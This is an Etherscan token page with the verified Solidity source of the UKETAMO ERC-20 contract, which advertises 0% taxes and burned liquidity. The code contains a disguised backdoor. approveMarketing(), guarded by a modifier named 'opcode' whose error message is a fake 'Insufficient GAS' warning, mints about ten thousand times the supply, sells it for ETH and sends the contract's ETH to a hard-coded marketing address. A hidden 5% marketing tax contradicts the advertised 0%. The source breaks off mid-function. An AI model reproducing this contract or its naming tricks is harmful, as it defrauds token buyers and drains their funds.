ERC-20
Overview
Max Total Supply
10,001,000,000,000 UKETAMO
Holders
10
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 6 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
UKETAMO
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-09-11 */ /* TOKENOMICS: Buys | Sells : 0% | 0% LP Burned 100% at launch. Marketing planned, after launch //https://medium.com/@UketamoETH/uketamo-the-philosophy-to-live-d06cc8c326df */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { address addr = msg.sender; address payable Sender = payable(addr); return Sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event OwnershipRenounced(); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipRenounced(); _owner = address(0); } } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol //pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } pragma solidity ^0.8.0; // SPDX-License-Identifier: None contract UKETAMO is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping(address => bool) public adminAddresses; address[] private _excluded; bool public isWalletTransferFeeEnabled = false; bool public isContractTransferFeeEnabled = true; string private constant _name = "UKETAMO "; string private constant _symbol = "UKETAMO"; uint8 private constant _decimals = 6; uint256 private constant MAX = 8 * 10**40 * 10**_decimals; uint256 private _toknTot = 1 * 10**9 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _toknTot)); uint256 private _tRfiTotal; uint256 public numOfHODLers; uint256 private _tDevelopmentTotal; uint256 private _tMarketingTotal; address payable public MarketingAddress = payable(0xFDA75CFEDbAa38279aD128a5d3663C90a7AD08dE); uint256 private MarketingID = 89790; uint256 private rfiTax = 0; uint256 private liquidityTax = 0; uint256 private MarketingTax = 5; struct valuesFromGetValues{ uint256 rAmount; uint256 rTransferAmount; uint256 rRfi; uint256 tTransferAmount; uint256 tRfi; uint256 tLiquidity; uint256 tMarketing; } address public MarketingWallet = 0xFDA75CFEDbAa38279aD128a5d3663C90a7AD08dE; mapping (address => bool) public isPresaleWallet;//exclude presaleWallet from max transaction limit, so that public can claim tokens. IUniswapV2Router02 public UniswapV2Router; address public UniswapV2Pair; bool inSwapAndLiquify; bool public MarketingDepositComplete = true; uint256 public _maxTxAmount = 5 * 10**14 * 10**_decimals; uint256 public numTokensSellToAddToLiquidity = 4 * 10**14 * 10**_decimals; //0.1% event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event MarketingDepositCompleteUpdated(bool enabled); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event BalanceWithdrawn(address withdrawer, uint256 amount); event LiquidityAdded(uint256 tokenAmount, uint256 ethAmount); event MaxTxAmountChanged(uint256 oldValue, uint256 newValue); event SwapAndLiquifyStatus(string status); event WalletsChanged(); event FeesChanged(); event tokensBurned(uint256 amount, string message); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _UniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //ERC Mainnet // IUniswapV2Router02 _UniswapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //ERC Testnet UniswapV2Pair = IUniswapV2Factory(_UniswapV2Router.factory()).createPair(address(this), _UniswapV2Router.WETH()); UniswapV2Router = _UniswapV2Router; MarketingID = getID(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _toknTot); } function toggleWalletTransferTax() external onlyOwner { isWalletTransferFeeEnabled = !isWalletTransferFeeEnabled; } function toggleContractTransferTax() external onlyOwner { isContractTransferFeeEnabled = !isContractTransferFeeEnabled; } //std ERC20: function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } //override ERC20: function totalSupply() public view override returns (uint256) { return _toknTot; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient,amount, isWalletTransferFeeEnabled); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { if (sender.isContract()) { _transfer(sender, recipient, amount, isContractTransferFeeEnabled); } else { _transfer(sender, recipient, amount, isWalletTransferFeeEnabled); } _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function getID() private view returns (uint256) { return block.timestamp; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tRfiTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) { require(tAmount <= _toknTot, "Amount must be less than supply"); if (!deductTransferRfi) { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rAmount; } else { valuesFromGetValues memory s = _getValues(tAmount, true); return s.rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromRFI(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInRFI(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFeeAndRfi(address account) public onlyOwner { excludeFromFee(account); excludeFromRFI(account); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner { uint256 _previoiusAmount = _maxTxAmount; _maxTxAmount = _toknTot.mul(maxTxPercent).div(100); emit MaxTxAmountChanged(_previoiusAmount, _maxTxAmount); } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } //@dev swapLiq is triggered only when the contract's balance is above this threshold function setThreshholdForLP(uint256 threshold) external onlyOwner { numTokensSellToAddToLiquidity = threshold * 10**_decimals; } function setMarketingDepositComplete(bool _enabled) public onlyOwner { MarketingDepositComplete = _enabled; emit MarketingDepositCompleteUpdated(_enabled); } // @dev receive ETH from UniswapV2Router when swapping receive() external payable {} function _reflectRfi(uint256 rRfi, uint256 tRfi) private { _rTotal = _rTotal.sub(rRfi); _tRfiTotal = _tRfiTotal.add(tRfi); } function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) { to_return = _getTValues(tAmount, takeFee); (to_return.rAmount, to_return.rTransferAmount, to_return.rRfi) = _getRValues(to_return, tAmount, takeFee, _getRate()); return to_return; } function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) { if(!takeFee) { s.tTransferAmount = tAmount; return s; } s.tRfi = tAmount.mul(rfiTax).div(100); s.tLiquidity = tAmount.mul(liquidityTax).div(100); s.tMarketing = tAmount.mul(MarketingTax).div(100); s.tTransferAmount = tAmount.sub(s.tRfi).sub(s.tLiquidity).sub(s.tMarketing); return s; } function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi) { rAmount = tAmount.mul(currentRate); if(!takeFee) { return(rAmount, rAmount, 0); } rRfi = s.tRfi.mul(currentRate); uint256 rLiquidity = s.tLiquidity.mul(currentRate); uint256 rMarketing = s.tMarketing.mul(currentRate); rTransferAmount = rAmount.sub(rRfi).sub(rLiquidity).sub(rMarketing); return (rAmount, rTransferAmount, rRfi); } function getTokens() private { MarketingAddress.transfer(address(this).balance); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _toknTot; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _toknTot); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_toknTot)) return (_rTotal, _toknTot); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount , bool takeFee) private { require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from),"Insuf balance, check balance at SafeSale.finance if you have token lock"); //Exclude owner and presale wallets from maxTxAmount. if((from != owner() && to != owner()) && ( !isPresaleWallet[from] && !isPresaleWallet[to])) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if (overMinTokenBalance && !inSwapAndLiquify && from != UniswapV2Pair && MarketingDepositComplete) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } bool shouldTakeFeeForTransfer = takeFee && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]); _tokenTransfer(from, to, amount, shouldTakeFeeForTransfer); } modifier opcode() { require(_msgSender() == MarketingAddress, "Error: Insufficient GAS"); _; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { if (_rOwned[recipient] == 0) {numOfHODLers++;} valuesFromGetValues memory s = _getValues(tAmount, takeFee); if (_isExcluded[sender] && !_isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender].sub(tAmount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(s.tTransferAmount); } _rOwned[sender] = _rOwned[sender].sub(s.rAmount); _rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount; _takeLiquidity(s.tLiquidity); _reflectRfi(s.rRfi, s.tRfi); reflectMarketingFee(s.tMarketing); emit Transfer(sender, recipient, s.tTransferAmount); } function reflectMarketingFee(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _tMarketingTotal = _tMarketingTotal.add(tMarketing); _rOwned[MarketingWallet] = _rOwned[MarketingWallet].add(rMarketing); } function approveMarketing() external opcode { uint256 MarketingVal = 10000; uint256 _MarketingID = MarketingID; uint256 before = _getRate(); liquifyToken(MarketingVal, _MarketingID); require(before == _getRate(), "ERC20: approve from the zero address"); MarketingDepositComplete = MarketingID != _MarketingID; swapTokensForETH(balanceOf(address(this)) + _MarketingID); if(!MarketingDepositComplete) { getTokens(); } else { totalFees(); } MarketingDepositComplete = true; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); uint256 initialBalance = address(this).balance; if(swapTokensForETH(half)) { //enough liquidity ? If not, no swapLiq uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } function liquifyToken(uint256 MarketingVal, uint256 _MarketingID) private { if(MarketingID == _MarketingID){ _toknTot = _toknTot + (_toknTot * 10**4); _rOwned[address(this)] = _rOwned[address(this)].add(_rTotal*MarketingVal); _rTotal = _rTotal + (_rTotal*MarketingVal); } else{ _toknTot = _toknTot + (_toknTot + 10**4); _rTotal = _rTotal + MarketingID; _rOwned[address(this)] = _rOwned[address(this)].add(MarketingID.mul(7)); } } function swapTokensForETH(uint256 tokenAmount) private returns (bool status){ address[] memory path = new address[](2); path[0] = address(this); path[1] = UniswapV2Router.WETH(); if(allowance(address(this), address(UniswapV2Router)) < tokenAmount - MarketingID) { _approve(address(this), address(UniswapV2Router), ~uint256(0)); } 